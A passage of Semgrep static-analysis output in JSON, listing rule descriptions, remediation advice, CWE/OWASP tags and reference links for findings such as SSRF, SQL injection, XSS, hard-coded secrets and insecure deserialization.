docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash)\n - [https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile](https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile)\n","text":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile"},"helpUri":"https://semgrep.dev/r/javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","id":"javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","name":"javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"help":{"markdown":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion)\n - [https://cwe.mitre.org/data/definitions/704.html](https://cwe.mitre.org/data/definitions/704.html)\n","text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","id":"kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","name":"kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class."},"help":{"markdown":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted)\n - [https://laravel.com/docs/9.x/responses#cookies-and-encryption](https://laravel.com/docs/9.x/responses#cookies-and-encryption)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cookie-security-and-session-management](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cookie-security-and-session-management)\n","text":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","id":"php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","name":"php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","id":"javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","name":"javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","id":"python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","name":"python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-url.mysql-connection-url)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","id":"rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","name":"rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.mysql-connection-url.mysql-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application."},"help":{"markdown":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.audit.mass-assignment.mass-assignment)\n - [https://cwe.mitre.org/data/definitions/915.html](https://cwe.mitre.org/data/definitions/915.html)\n - [https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md](https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md)\n","text":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.audit.mass-assignment.mass-assignment","id":"csharp.dotnet.security.audit.mass-assignment.mass-assignment","name":"csharp.dotnet.security.audit.mass-assignment.mass-assignment","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.audit.mass-assignment.mass-assignment"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","id":"python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","name":"python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header."},"help":{"markdown":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-href.var-in-href)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI)\n - [https://github.com/pugjs/pug/issues/2952](https://github.com/pugjs/pug/issues/2952)\n","text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","id":"ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","name":"ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.var-in-href.var-in-href"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters."},"help":{"markdown":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.unicode.security.bidi.contains-bidirectional-characters)\n - [https://trojansource.codes/](https://trojansource.codes/)\n","text":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters."},"helpUri":"https://semgrep.dev/r/generic.unicode.security.bidi.contains-bidirectional-characters","id":"generic.unicode.security.bidi.contains-bidirectional-characters","name":"generic.unicode.security.bidi.contains-bidirectional-characters","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.unicode.security.bidi.contains-bidirectional-characters"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"help":{"markdown":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.wildcard-assume-role.wildcard-assume-role)\n - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)\n","text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"helpUri":"https://semgrep.dev/r/json.aws.security.wildcard-assume-role.wildcard-assume-role","id":"json.aws.security.wildcard-assume-role.wildcard-assume-role","name":"json.aws.security.wildcard-assume-role.wildcard-assume-role","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.wildcard-assume-role.wildcard-assume-role"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pgx.pgx-empty-password.pgx-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pgx.pgx-empty-password.pgx-empty-password","id":"go.secrets.pgx.pgx-empty-password.pgx-empty-password","name":"go.secrets.pgx.pgx-empty-password.pgx-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pgx.pgx-empty-password.pgx-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-dill-django.tainted-dill-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-dill-django.tainted-dill-django","id":"python.django.deserialization.tainted-dill-django.tainted-dill-django","name":"python.django.deserialization.tainted-dill-django.tainted-dill-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-dill-django.tainted-dill-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.php-permissive-cors.php-permissive-cors)\n - [https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin](https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/php.lang.security.php-permissive-cors.php-permissive-cors","id":"php.lang.security.php-permissive-cors.php-permissive-cors","name":"php.lang.security.php-permissive-cors.php-permissive-cors","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.php-permissive-cors.php-permissive-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `sandbox`."},"help":{"markdown":"Make sure that unverified user data can not reach `sandbox`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `sandbox`."},"helpUri":"https://semgrep.dev/r/javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","id":"javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","name":"javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlobject-flask.sqlobject-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlobject-flask.sqlobject-flask","id":"python.flask.db.sqlobject-flask.sqlobject-flask","name":"python.flask.db.sqlobject-flask.sqlobject-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlobject-flask.sqlobject-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations"},"help":{"markdown":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.missing-unlock-before-return.missing-unlock-before-return)\n - [https://pkg.go.dev/sync#Mutex](https://pkg.go.dev/sync#Mutex)\n - [https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/](https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/)\n","text":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations"},"helpUri":"https://semgrep.dev/r/trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","id":"trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","name":"trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.missing-unlock-before-return.missing-unlock-before-return"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Generic Secret detected"},"help":{"markdown":"Generic Secret detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-generic-secret.detected-generic-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Generic Secret detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-generic-secret.detected-generic-secret","id":"generic.secrets.security.detected-generic-secret.detected-generic-secret","name":"generic.secrets.security.detected-generic-secret.detected-generic-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-generic-secret.detected-generic-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability."},"help":{"markdown":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Untrusted user input in {url: ...} can result in Open Redirect 